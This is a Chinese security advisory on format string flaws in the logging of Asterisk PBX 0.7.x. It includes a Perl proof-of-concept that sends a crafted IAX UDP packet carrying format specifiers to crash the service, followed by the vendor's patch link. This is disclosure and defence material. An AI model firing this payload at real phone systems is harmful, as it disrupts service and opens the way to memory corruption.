安全研究

安全漏洞
Asterisk PBX多个记录格式串漏洞

发布日期:2004-06-18
更新日期:2004-06-24

受影响系统:
Asterisk Asterisk 0.7.2
Asterisk Asterisk 0.7.1
Asterisk Asterisk 0.7.0
不受影响系统:
Asterisk Asterisk 0.9.0
描述:
BUGTRAQ  ID: 10569

Asterisk是一款PBX系统的软件,运行在Linux系统上,支持使用SIP、IAX、H323协议进行IP通话。

Asterisk在记录请求时对数据缺少充分过滤,远程攻击者可以利用这个漏洞以格式串问题,可以进程权限在系统上执行任意指令。

攻击者可以利用这些格式串问题,破坏内存,导致应用程序崩溃,也可以读和写任意内存导致以进程权限在系统上执行任意指令。

<*来源:kfinisterre (kfinisterre@secnetops.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

kfinisterre (kfinisterre@secnetops.com)提供了如下测试方法:

#!/usr/bin/perl
#
# Asterisk 0.7.2 Linux PBX Remote Format string DoS (PoC)
#
# Feb 29 22:58:08 NOTICE[27151280]: Rejected connect attempt from 127.0.0.1, request
# 'exten=;callerid=;dnid=;context=;username=ce0ca0;language=;formats=;version=;}'

#
# kfinisterre[at]secnetops[dot]com - Copyright Secure Network Operations.
#

use IO::Socket::INET;

$sock=new IO::Socket::INET->new(PeerPort=>5036, Proto=>'udp', PeerAddr=>'localhost');
#$malpayload = "%.10d.";
#$malpayload .= "%.10d"; # add 6 to length
#$malpayload .="%n"; # write to the third address... we
have control of $esi
$malpayload = "AAAABBBB" . "%x." x 25;
$malpayload .="\x3b";

$payload = "\xa3\x7d\xff\xff\x00\x00\x00\x01\x00\x00\x06\x01\x65\x78\x74\x65\x6e\x3d\x3b" . # extern=;
"\x63\x61\x6c\x6c\x65\x72\x69\x64\x3d\x3b" . # callerid=;
"\x64\x6e\x69\x64\x3d\x3b" . # dnid=;
"\x63\x6f\x6e\x74\x65\x78\x74\x3d\x3b" . # context=;
"$malpayload" .
"\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d" . # username=;
"\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x3b" . # language=;
"\x66\x6f\x72\x6d\x61\x74\x73\x3d\x3b" . # formats=;
"\x76\x65\x72\x73\x69\x6f\x6e\x3d\x3b" . # version=;
"\xa3\x7d\xff\xff\x00\x00\x00\x15\x00\x01\x06\x0b"; # end of payload

$sock->send($payload);
close($sock);

建议:
厂商补丁:

Asterisk
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Asterisk Upgrade asterisk-0.9.0.tar.gz
ftp://ftp.asterisk.org/pub/telephony/asterisk/asterisk-0.9.0.tar.gz

浏览次数:2693
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障